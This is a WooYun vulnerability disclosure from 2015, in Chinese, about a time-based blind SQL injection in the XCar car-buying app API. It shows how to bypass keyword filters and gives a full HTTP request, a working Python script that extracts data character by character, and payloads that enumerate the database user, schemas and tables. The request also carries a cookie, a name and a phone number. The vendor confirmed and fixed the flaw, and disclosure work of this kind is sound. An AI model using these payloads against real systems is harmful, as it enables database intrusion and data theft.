当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150249

漏洞标题:爱卡汽车官网APP存在SQL注入漏洞(继续绕过多关键字过滤+验证脚本)

相关厂商:爱卡汽车网

漏洞作者: 路人甲

提交时间:2015-10-29 09:22

修复时间:2015-12-14 11:18

公开时间:2015-12-14 11:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

过滤关键字:
单双引号、逗号、if、<>、mid/substr/substring、limit

详细说明:

目标:爱卡汽车官网APP爱买车
检测发现以下地方存在SQL注入:(POST中的did_all,时间盲注)

POST http://mi.xcar.com.cn/interface/gcpapp/desireApply.php HTTP/1.1
Host: mi.xcar.com.cn
Cookie: iphonecookie=d986Lj6fkWsE3MM/QdTmjPQhCAaTgrGFPrkjbvnp4STEMwWqMXd5RxvN15ksoTHy4HV3NZPP7B7v3ReafyKA4adBwBBq6IBA5lab2fFAKWvzKgV9KxBlIeGjc0Oz20/JKQ;
Accept-Encoding: gzip,deflate
Content-Length: 499
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
appName=1&carId=23113&channelId=126&cityId=484&description=好的&desireId=22&desires=白外黑内,现车,优惠5000,选装氙灯&deviceId=A0000038518D0C&&deviceType=2&did_all=85287&encryptedTelephone=03ce7ab07859e52a030105e0c48bfa98&name=陈静&provinceId=3&quickDesire=0&telephone=13525698541&uid=9706075&ver=3.1


SQLMap连注入都没检测出来,但手动试了几次did_all=(select(0)from(select(sleep(n)))v),发现皆睡2n秒,于是确认是存在注入,估计是过滤了关键字吧。
手工试了好久,发现只是过滤了以下关键字:
单双引号、逗号、if、<>、mid/substr/substring、limit
而select、from、where这三个关键的还是没被过滤,那都是可以绕过的(如使用case代替if,使用hex代替单双引号,使用like代替<>,使用like正则代替mid,使用group_concat代替limit等)
关于利用语句,当然可以使用(select(0)from(select(sleep(length(user()))))v),使用睡眠时间来判断出字符,但是这样非常依赖网站稳定性,而且结果也不稳定,于是想了下改用以下这个,这就稳定多了。

(select(0)from(select(case when (1 like 1) then sleep(2) else sleep(0) end))v)


验证脚本如下(Python):(以跑database()的值为例)

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
count = 0
i = 33
while i < 128:
if i == 37:
i = i+1
try:
params = 'appName=1&carId=23113&channelId=126&cityId=484&description=%E5%A5%BD%E7%9A%84&desireId=22&desires=%E7%99%BD%E5%A4%96%E9%BB%91%E5%86%85%2C%E7%8E%B0%E8%BD%A6%2C%E4%BC%98%E6%83%A05000%2C%E9%80%89%E8%A3%85%E6%B0%99%E7%81%AF&deviceId=A0000038518D0C&&deviceType=2&did_all=(select(0)from(select(case when (database() like 0x'+temp_database+str(hex(i))[2:]+'25) then sleep(3) else sleep(0) end))v)&encryptedTelephone=03ce7ab07859e52a030105e0c48bfa98&name=陈静&provinceId=3&quickDesire=0&telephone=13525698541&uid=9706075&ver=3.1'
headers = {"Host": "mi.xcar.com.cn",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept-Encoding": "gzip,deflate",
"Accept": "*/*",
"Cookie": "iphonecookie=d986Lj6fkWsE3MM/QdTmjPQhCAaTgrGFPrkjbvnp4STEMwWqMXd5RxvN15ksoTHy4HV3NZPP7B7v3ReafyKA4adBwBBq6IBA5lab2fFAKWvzKgV9KxBlIeGjc0Oz20/JKQ;",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": len(params)}
httpClient = httplib.HTTPConnection("192.168.1.2", 8080, timeout=30)
httpClient.request("POST", "http://mi.xcar.com.cn/interface/gcpapp/desireApply.php", params, headers)
st = time.time()
response = httpClient.getresponse()

rp = response.read()
if count == 1:
if time.time()-st > 6:
temp_database = temp_database + str(hex(i))[2:]
database = database + chr(i)
print 'user(): ', database
i = 33
count = 0
else:
count = 0
elif time.time()-st > 6:
count = 1
i = i-1
i=i+1

except Exception, e:
print e
finally:
if httpClient:
httpClient.close()

漏洞证明:

1、当前数据库用户

(select(0)from(select(case when (user() like 0xXX25) then sleep(2) else sleep(0) end))v)


user.jpg


2、当前数据库

(select(0)from(select(case when (database() like 0xXX25) then sleep(2) else sleep(0) end))v)


dataabse.jpg


3、所有数据库

(select(0)from(select(case when ((select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA) like 0xXX25) then sleep(2) else sleep(0) end))v)


dbs.jpg


4、当前库GOCAR的数据表

(select(0)from(select(case when ((select GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x474f434152) like 0xXX25) then sleep(2) else sleep(0) end))v)


tables.jpg


同理所有数据都可以跑出来,但不深入了~

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-10-30 11:16

厂商回复:

感谢 @路人甲 的提交,由于此问题和wooyun-2015-此漏洞属于同一问题,所以评低,还请谅解。再次感谢!

最新状态:

暂无